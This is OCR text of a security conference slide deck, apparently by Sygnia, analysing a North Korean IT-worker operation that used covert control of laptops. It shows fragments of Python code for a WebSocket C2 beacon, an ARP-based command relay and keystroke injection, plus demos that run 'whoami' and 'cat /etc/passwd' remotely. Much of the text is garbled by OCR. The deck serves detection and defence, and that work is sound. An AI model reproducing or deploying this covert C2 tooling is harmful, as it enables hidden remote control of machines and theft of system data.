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REAL-WORLD IMPACT

Key Milestones in North Korean Cyber Operations (May 2022—February 2025)
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O O O O o
August 2024 — September 2024 -

May 2022 February 2025 February 2025 January 2025 February 2025

Initial Threat C2 Server Victim FBI Extortion Cryptocurrency

Emergence Discovery Organizations Report Theft

North Korean IT workers
identified as major
infection vector

CONFIDENTIAL &

21 command and control
servers linked to operations

At least seven
organizations in six
countries targeted

North Korean IT workers
begin extorting former
employers

$1.5 billion stolen in single
cryptocurrency attack




TRACKING & LAW ENFORCEMENT

Nofthﬁ ST b Era% US Storms 29 Laptop Farms in Crackdown on North
Korean IT Worker Schemes

The US has made 29 searches of known or suspected laptop farms supporting North Korean individuals posing as US IT workers.

roairic e
e

North Korea made milli

FINANCE- FRAUD

North Korea’s Laptop Farm Scam:
‘Something We'd Never Seen Before’ i

An Amet Cot
North Korean IT workers Jobs at Nike, Other U.S. Firms
rake in $17.1 million faces POLITICO

sentencing in scheme that Ar_izona woman septenced to B'years in
prison for hosting 'laptop farm’ for

tricked hundreds of North Korean remote workers

The sentence is one of the largest handed down to a 17.S. national for their role in the

FO rtun e 5 O O c O m p an i e S North Korean government-linked scheme.



TIMELINE OF EVENTS

December 2024

North Korean IT
worker hired as senior
DevOps engineer

Early January 2025

Discovery of tooling

on seized laptop

-~
. ' : January to
s ‘ February 2025
> Threat hunt
“ . . performed
. L . ' in client
o s environment
b -
] - ° e '~ “r gy -
NOVEMBER . DECEMB@
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February 2025

Laptop returned to client
and analyzed by Sygnia
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NO MALWARE NEEDED: JUST PYTHON, ARP, AND ZOOM

Scripts enable ngSocket ARP packets Zoom Automation Evasion operates

. facilitates remote . ”
control without rebroadcast simulates remote below traditional

. . command and .
malware installation. control commands locally. desktop control. logging thresholds.

\ \ \ \ \
/@\ /Q_]\ /@\ /zoom\ /%\

uuuuu

Scripts WebSocket ARP Packets Zoom Automation Evasion

I;l Covert Device
T Control
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COVERT CONTROL SYSTEM: NO EXPLOITS REQUIRED

] WebSocket

C2

1
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USER PRESENCE BEACON SCRIPT

Gather
Username

R
7 TN

N\ Send

Activate [ o=
Modules @ / Lt \ POST
o Request
User Presence
Beacon
/ \ / \
2 =
&_/
Wait for Shell Loop
Beacon to Check-In

# User Presence Beaconing Script
import os
import requests

Ws = "ws: I .
USER NAME = os.getenv ("USER")

def {):
requests.post (ws, json={"username": USER NAME})




A NORTH KOREAN CYBER OPERATION

COMMAND REBROADCAST RELAY SCRIPT

Receive WebSocket
Command

VA S A\
\ — \ Extract

/
i Er Command
Command Payload

Relay Script

Execute
Command

N\

Mﬁwl

Broadcast ARP
Packet

load_dotenv ()
websocket server url = "wss:

# Network interface configuration

interface = None # Change to match your actual network interface
APP_NAME = os.environ[' NAM

CHANNEL _ID = bytes([int(os.environ['CHANNE IL'1Y1)

event_id =

(custom_data) :

event_id
ether = Ether{dst=" 5 : - - = oy 4 Broadcast MAC address
arp = ARP(op=!, hwsrc=ether.src, psrc="0.0.0.0", hwdst="

. )
event_id buf = bytes([event_id])
extra data = CHANNEL_ID + event_id_buf + custom data
packet = ether / arp / extra_data
event_id = (event_id + 1) %

# Send packet out on specified interface
sendp (packet, iface=interface)

print(f" event_id}")

", pdst=




INPUT SIMULATION AGENT SCRIPT

Listen for
Commands

7 TN

/0
o

OI”

/ \

Validate [ @ A / ||‘; A Decode
Channel ID Input . Commands
Simulation
Agent

/Q.”\

Inject Input

A NORTH KOREAN CYBER OPERATION

"Numpadé": KeyCode.from char('é'),
"Numpad7": KeyCode.from char('7"),
"Numpad8": KeyCode.from char('8'),
"Numpad9" : KeyCode.from_char('S'),
"Numpad0" : KeyCode.from_char('O'),
"NumpadDecimal"™: KeyCode.from char('.'),
"ShiftLeft": Key.shift, B
"ShiftRight": Key.shift r,

key mapping.get (key_code, None)

(data) :
event = {}
event_type code = datal[0]

event_type_code ==
# Key event
key = data[”?:].decode('utf-8")
key None:

event['type'] = 'key'
event['state'] = data[l] ==
event['key'] = key
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VIDEO CONFERENCING AUTOMATION MODULE

/ \ / N\ / \ 4 \
1 - 2 3 - 4 -
Receive Commands Launch Zoom Perform Approve Remote-
Via WebSocket Session Screenshots Control Request
Receives commands Initiates a Zoom Captures screenshots Approves remote-
like 'open’, 'create’, session using Apple to identify the 'admit' con_trol request
‘admit', and 'hide' Scripting or Zoom's button using RGB wlthout user
through WebSocket. ' protocol handler. filter. interaction.
) -
— Tr—
= d =k @
.
4 e ¥

hotkey, click i bp. wing winc in enumerate (wi

= window[1]

turn_value.d
return return value
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NETWORK LISTENER SCRIPT

Listen for ARP CHANNEL ID =
PaCketS ws = None

websocket server_ url =
last_event_id = None

# WebSocket initialization
(data) :
ws

Sleep Before
Reconnection

ws.send (data)
Exception e:
print( el™)

# Packet handler function
(packet) :
last_event_id
ARP packet packet [ARP] .op == 1: # ARP request
# Extract extra payload data
arppayload = bytes (packet[ARP]) [28:] # Start after standard ARP payload
len (arppayload) < arppayload[0] '= CHANNEL ID:

event_id = arppayload[l]

Extract last_event_id == event_id:
Encoded Data last event id = event id

extra data = arppayload[Z?:] .decode( , errors= ) .strip( )
len(extra_data) >
print (extra_data)
send websocket message (extra data)

Forward to C2

Server
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ZOOM DEMO

[ec2-user@ip-192-168-2-38 server]l$

@ Tusg@LAPTOP-SI6IStDs fme % T = o

ec2-user@Mac-mini zoom_automation %
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ZOOM DEMO

085S [ec2-user@ip-192-168-2-38 serverl$ python3 server.py
[+] Websocket server started.
[+] Client connected.
[+] Received {"room": "sans_demo", "type": "join"} from client
(Enter command to issue to client) > i

@ lisg@LAPTOP-MEIEDS: fmr X+ v e o x

ec2-user@Mac-mini zoom_automation % ./run.sh
Opened connection

55

MEHOe=2N0Fa @80~ " 20




ZOOM DEMO

085 Studio

Zoom Workplace Edit Window Help

oth ilability and

PEOS =307 @S0 120 -8 AW

NFIDENTIAL
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a ip . ip o s o
[ec2-user@ip-192-168-2-38 server]$ python3 server.py

[+] Websocket server started.

[+] Client connected.

[+] Received {"room": "sans_demo", "tvpe": "join"} from client
(Enter command to issue to client) > open

[+] Response sent to client.

@ lisgeLAPTOP-EINDE /mr X+ v
ec2-user@Mac-mini zoom_automation % ./run.sh
Opened connection

Received: open

ERR received 1000 (OK); then sent 1060 (OK)
[ |
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ZOOM DEMO

[ec2-user@ip-192-168-2-38 serverl$

& Notes Flo Edit Format View Window Help
) B

Q £ Mon2un 426PM

i

O lusg@LAPTOP-91613EDS: fmr X

ec2-user@Mac-mini zoom_automation %




ARP HID DEMO

Vew Input Devies Help
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& Vew Input Devees bep

B4 -] | intetac

iing Lists - SharkFest - Wireshark Discord -~ Donate

(2nv) PS C:\Users\sygnia\Dounleadshreplayer>

B 634
~GmEd) gy B

NFIDENT

Fle. Machne
yaniadsygnia-ubumtu:

env) raotésygnia-ubuntu s home/sygnia/relayerd _

X! PowerShell X @ echuser@ip192168.238-) X

[ec2-user@ip-192-168-2-38 serverl$

+ v




ARP HID DEMO

3] PowerShell ¥ ) ec-user@ip-192-168-2-38&:-4 X

[ec2-user@ip-192-168-2-38 server]$ python3 public_server.py

[+] Websocket server started.

[+] Client connected.

[+] Received dest/sans—-demo from client
(Enter command to issue to client) > HeyH
[+] Response sent to client.

[+] Client connected.

[+] Received dest/sans—demo from client
(Enter command to issue to client) > HeyH
[+] Response sent to client.

ONFIDENTIAL &
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Eygn iafsygn ia-ubuntu:
[sudo] password for sygnia:
tcpdump: werbose output suppressed, use -w[vl... for full protocol decaode
liztening on enp@si link-tupa FHi6MA |'F+h=-r~nn=-l1 znapshat length 262144 bytes
31:35:33. 280693 HRF Request wha-has 4.8.8.8 tell 8.9.9. a, length 34

% suda tcpdump -i enp@s3 -A arp

eyH
51:35:45.882935 ARF, Reguest who-has &.9.9.9 tell 8.9.9.9, length 34
.............................. KeyH

Lenv) rnnl@sggnla ubuntu:/homessygniasre layerd ./run.sh
canz-dama bt wid !

Jpened connection

meszage received: b'KeyH'

extra_data: b'wwalveedkeyH"

nacket: Ether / ARP who has $.8.8.8 says §.86.8.8 / Raw

sent 1 packets.

sent ARP packet with extra data: 1

received: b EeyH"

ERR received 16888 (0K): then sent 1998 (OK)

Upened connection

meszage received: b'KeyH'

extra_data: b @l wx@ikeyH '

nacket: Ether / ARP who has 8.8.8.8 says 8.8.8.8 / Raw

fent 1 packets.

sent ARP packet with extra data: i
Received: b'KeyH'

ERR received 1888 (0K): then sent 1968 (OK)
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ARP HID DEMO

nt for 8.6.8.8

FF FF £ £F f £F 00 00
8 61 Be

(env) PS5 Ci\UsershsygniaiDownleadsireplayer: python? .\main.py

Starting packet capture on ARP...

WBAP Packet receiwed.

Extra data received: b'\x@L\x@BKeyvH\xS8\ XB8\ xXG8\ XS0 xS0\ xS\ x30\ xS B8\ XSG\ X8\ X280 "
Key: KeyH

Event State: False

Datalll: 8

ARF Packet réceived.

Extra data recelved: b'\x8l\m@lKeyH\ B8\ B8 B8 e B BB tie ) xea' nBe \ Be, B8\ e
Key: KeyH

T Evernt State: True

File Edit Search W . 5 ¥ Data[ll: 1
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ARP HID DEMO

B -] AN mtertaces shown =

Questions and Answers - Maling lists - SharkFest - Wireshark Discord - Donate

Profile: Dedaul:

PS Ci\Users\sygnia\Downloads\replayer>

& Powershell X O ecxwewiprzwsze, X+ v

[ec2-user@ip-192-168-2-38 server]l$

&34PM

R O mE S LR X B ~owDo 0 ®
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POC RCE DEMO

O cduserdipisriesadss X+ v ==

[ec2-userfip-192-168-2-38 server]$ python3 public_server.py

Fie Machne Vew = hep Fle Mokine Vew It Devees Feip
ootesygn.a-Uauntu: shome/sygn la/c2-re layers tcodumo -1 enpes3 -A arp enu) rootisygnia-ubuntu: /home /sygn ia/c2-neplayerd tepdump -1 enpdsd -A anp_
fenv) rootesyenia-ubuntu: shone/sugnla/cz-relayers python3 main.py 54.144.89.244:8000 enu) rootasygnia-ubuntu: /home /sygnia/c2-replayerd pythond main.py

[} L] Iy &3 rigt cir.
ok L @@= ~m oy Tdne Mo
Sunny L Lt 6/17/2025

NFIDENTIAL
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POC RCE DEMO

[ec2-user@ip-192-168-2-38 server]$ python3 public_server.py
[+] Websocket server started.

[+] Client connected.

[+] Received client connected. from client

(Enter command to issue to client) > exec whoami

[+] Command sent.

awaiting response...

Event ID: TFE0

Command Result:

root

[+#] Client connected.

[+] Received client connected. from client

(Enter command to issue to client) > exec cat fetc/passwd
[+] Command sent.

awaiting response...

CONFIDENTIAL & PROPRIETARY




POC RCE DEMO

root@sygnia-ubuntu: shomessygniasc2-relaverd topdump -1 enpes3 -a arp

topdumo: verbose output suppressed. use -vlvl... for full protocol decode
listening on enp@sd, lirk-type EN1OMB (Ethernet), snapshot length 262144 butes
23:16:26,545465 ARP, Request who-has ©.9.9.0 tell 9.9.9.9, length 37

Request who-has 8.0.0.6 tell 8.0.9.0, length 45

Request who-has ©.9.0.0 tell 9.9.9.9, length 52
cmdTFE0 . 2xh]1YJB3acahbkk=

:16: Request who-has ©.9.0.9 tell ©.0.9.9, length 46
,,,,,,,,,,,,,,,,,,,,,,,,,,, CHDRESTFSEOD........

Request who-has ©.9.0.9 tell 9.9.9.9, length 43
,,,,,,,,,,,,,,,,,,,,,,,,,,, resreaduTFe0........

Request who-has ©.9.0.9 tell 0.9.9.9, length 46

: Request who-has ©.9.0.9 tell ©.0.9.9, length 37
,,,,,,,,,,,,,,,,,,,,,,,,,,, execCig.

Request who-has ©.9.0.9 tell 0.9.9.9, length 46
,,,,,,,,,,,,,,,,,,,,,,,,,,, EXECCIDBREADY.....

Request who-has ©.9.0.90 tell ©.0.9.9, length B4
,,,,,,,,,,,,,,,,,,,,,,,,,,,, CmAC108 . ZXh 1B JYHEELZVE Y IuYiNZd28=

A NORTH KOREAN CYBER OPERATION

{env) rootdsygnia-ubuntu: homessygniasc2-replayerd tcpdump -1 enpdsd -A arp
tcpdump: verbose output suppressed, use -v([vl... for full protocol decode
listening on enpésd, link-type EWi9MB (Ethernet), snapshot length 262144 bytes
23:16:26.546485 ARP, Request who-has 6.9.6.9 tell 6.9.8.9, length 46

23:16:26.553802 ARP, Reguest who-has 9.0.8.8 tell 9.6.8.8, length 42
............................ EXECTFEOREADY .

, Request who-has 8.9.8.0 tell 8.8.8.9, length 52
............................ cmd TFE0 . 2x3h 1YyB3aG Shbkk=

, Request who-has 8.9.8.0 tell 8.8.8.9, length 39
............................ CHDRESTFE0.

, Request who-has 6.8.8.8 tell 6.9.6.8, length 48
............................ resreadyTFA0........

, Request who-has 6.8.8.8 tell 6.9.6.8, length 48
............................ RESTFE0.root

, Request who-has 6.8.8.9 tell 6.6.0.8, length 46
............................ execCild. ... ...

arocessing packet...
arppayload: b'resreaduTRo0NHe 150 08«08«00 0808 '
processing packet. ..
arppayload: b 'RESTFE0E8r 00t 80N E0N a0 B0 R a0 xaa |
Result:
Event ID: TFa0
Command Result:
root
result sent.
ERR: recelved 18e8 (OK); then sent 18@@ (OK)
Opened connect ion
message recelved: ewec cat Jfetc/passmd
encoded_command: b 'ZXh1YJBYHAELZVeYIuNZd2E="
length: 28
processing packet. ..
arppayload: b'execCiDenxic’

sent 1 packets.

Sent ARP packet with extra data: b'execCiDésxic’
processing packet. ..
arppay load: b 'ENECC 1DAREADY 38 1% 00N :E0N 380 188 *

Sent 1 packets.

proxy:x:13:13:proxy:/bin:fusr/shin/nologin

won-data sy 133 133 rwww-data Avardwe: fusrssbindnolog in

backup :x :34 : 34 :hackup : /var/backups : fusr/sbin/nolog in
list:x:38:538:Mailing List Manager:/war/list:/usr/sbin/nologin
ipc:x:d9:39: ircd :Srun/ ircd: Ausr/sbinsnolog in

_apt¥:42 65534 r/nonex istent t/usrsshindno login

nobady : % 65534 165534 :nobody : /nonex istent : fusr/shinsnologin
systemd-network s x:998:998 1 systemd Network Management:/:/usr/shindnologin
systemd-timesync :x:997:997systemd Time Synchronization: s usr/shinsnologin
dhoped 1% 168 :65534:DHCP Client Dasmon, , , :/usr/lib/dhcped:sbindfalse
messagebus sx 18101821 i /nonexistent rAusrssbindnolog in
systemd-resolve:x:992:992 systemd Resolver:/:/usr/sbinsnologin
pollinate:x:182:1: :/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:183:184: : /nonexistent : Ausr/sbin/nologin

uuidd:x: 164 :185: runsunidd s /usr/shingdnologin

topdump:x: 185: 187 : :/nonex istent : /usr/sbinsnologin

tsgix:106:108: TPH software stack,,,:/var/lib/tpm:/bin/false
landscape:x:187:169: :/var/1ib/ landscape :/usr/sbinsnologin
fuupd-refresh:x:989: 989 :F irmuare update daemon:/varslib/fwupd:/usr/sbingsnologin
ushmux X s 168 146 :usbmux daeman, , , :/vard libAusbmus s /usrssbinsnologin

sshd 189 :65534 : 1 /runssshd s /usr/sbindnologin

Sygniaix: 1600 1808 sygnia: Jhomessygnia: /binsbash

rocessing packet...
__
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23:16:35.769492 ARF, Reguest who-has @.9.9.9 tell 9.9.9.9, length
,,,,,,,,,,,,,,,,,,,,,,,,,,,, RESC109.rsshinsmologin

ircix:39:39:1

23:16:35.861557 ARF, Reguest who-has @.9.9.9 tell @.8.8.9, length
............................ RESC1D@.rcd : /runs ircd s Ausrssh insno lo
23:16:35.960655 ARP, Request who-has 0.9.9.9 tell @.9.9.9, length
,,,,,,,,,,,,,,,,,,,,,,,,,,,, RESC100.2in

_aptix 4265534 s /nonex L

23:16:36.069732 ARF, Reguest who-has 9.9.9.9 tell 0.9.9.9, length
,,,,,,,,,,,,,,,,,,,,,,,,,,,, RESC100.stent t usrssbinsnologin

ARP, Reguest who-has 2.9.0.9 tell @.9.0.9, length
............................ RESC1D® . dy :% 165534 : 65534 :nobody : Anon
ARP, Reguest who-has €.9.9.9 tell 9.9.0.8, length
,,,,,,,,,,,,,,,,,,,,,,,,,,,, RESCID®.existent:fusrsshinsnologin

ARP, Reguest who-has €.9.9.9 tell 9.9.0.9, length
,,,,,,,,,,,,,,,,,,,,,,,,,,,, RESC100 . ystemd-network 1x:998:998 1545
ARF, Request who-has @.6.8.8 tell @.8.8.8, length
............................ RESCI0@.temd Wetwork Management:s:fu
ARP, Reguest who-has 2.9.9.9 tell 9.9.0.98, length
,,,,,,,,,,,,,,,,,,,,,,,,,,,, RESC10@ srsshinsnologin

systemd-time

64

64

L]

o4

&4

L]

o4
64

o4

23:16:35.757811 ARP, Reguesi—who-has—o~@gwg—teldo-as
............................ RESCADE .r/shinsnologin
irc:x:39:39:1
23:16:35.859312 ARF, Reques:

P T
TRTIENE O

who-has @.8.9.8 tell 8.9.0.8, length
RESC1D& .red:Aruns ircd : usr/shinsnolo
t who-has 8.8.9.8 tell 8.8.8.8, length
RESC1DG.gin

_apt:x:42:65534: 1 /nonexi

23:16:36.059862 ARP, Reguest who-has 6.9.9.9 tell 8.9.0.4, length
............................ RESC1D&.stent :/usrsshinsnologin

nobo

23:16:36.161576 ARP, Reguest who-has 8.9.9.9 tell 8.9.8.8, length
............................ RESC1D@ . dy :x 165534 : 65534 :nobody : /nan
T who-has 9.9.9.9 tell 8.9.9.9, length
............................ RESC1D® .exisztent :/usrs/shin/nologin

+ who-has 8.8.8.8 tell 8.8.0.4, length
............................ RESC1D& .ystemd-network :x:998 ;998 : sys
c who-has 8.8.0.9 tell 9.9.9.9, length
............................ RESC106.temd Wetwork Management:/:su
+ who-has §.8.9.9 tell 8.0.0.8, length
............................ RESC1D® sr/shinsnologin

systemd-+ime

A NORTH KOREAN CYBER OPERATION

&4

G4

G4

arppayload: b'RESC10O%x16sn0loginvnlist x:33:38 :Hallin’
processing packet. ..

arppayload: b'RESCID@Nx172 Llst Manager:svarslistisus’
processing packet...

arppayload: b'RESC10Dex18rsshinsnologinvnire:x:39:39:1"
processing packet. ..

arppayload: b'RESC1D@x19vcd:runs lrod: /usrssbinsola’
processing packet...

arppayload: b'RESC108%:1aginvwn_apt ¥ :42:65534: t/nonexi’
processing packet. ..

arppayload: b'RESC1D@x1bstent :susrssbinsnologinvnnobo
processing packet...

arppayload: b'RESCIDENx1cdy @x 165534 165534 tnobody s/ non '
processing packet. ..

arppayload: b'RESC1D@%x1dexistent i usrsshinsnologimng’
processing packet...

arppayload: b'RESCIDE%H1eystemd-network :x:998:998:sys’
processing packet. ..

arppayload: b'RESCID@x1Ttemd Metwork Management:s:su’
processing packet...

arppayload: b'RESCID® sr/shinsnologinvwnsystemd-time’
processing packet. ..

arppaylead: b'RESCI0@1sYNC ix:997:997:sustemd Time '

A L

Sent 1 packets.
packet sent.
Packet pushed

Sent 1 packets.
packet sent.
Packet pushed

éent 1 packets.
packet sent.
Facket pushed

Sent 1 packets.
packet sent.
Packet pushed

Sent 1 packets.
packet sent.
Packet pushed

Sent 1 packets.
packet sent.
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POC RCE DEMO

[ec2-user@ip-192-168-2-38 server]$ python3 public_server.py

Fle Machne Vew It Devees Help put Devices Help
" layers tcodump -1 enpes3 -A arg (e { a-ubuntu: /home /sy

gn1a-ubuntu : shome.

ce-relavers python3 main.py S4. (env) rootésygnia-ubuntu: shome/

(env) rootesugnia-ubuntu:/ho sygnia/c2-replayerd python3 main.py
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WHAT TO LOOK FOR IN YOUR ENVIRONMENT

/fﬁ\

I\

ARP

Broadcasts

Anomalous ARP
broadcasts across
network segments.

N\

8%

MAC Address
Oddities

Unusual or spoofed
source MAC
addresses.

WebSocket
Traffic

Unexpected persistent
WebSocket
connections detected.

/g\

Input

Simulation

Use of HID
interfaces for input
simulation.

A NORTH KOREAN CYBER OPERATION
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Zoom
Protocol

Zoom auto-launch
protocol trigger
detection.
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LAST THOUGHTS




KEY TAKEAWAYS

Evolving Cybersecurity Cycle = \

&

@

Protocol Thinking
Focus on protocol

behavior, not payloads.

Evolving Detection

Detection methods
must adapt.

E

A NORTH KOREAN CYBER OPERATION

Workflow Control

Attackers exploit
workflow vulnerabilities.

Trust Boundaries

Trust is the new
security perimeter.
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THANK YOU




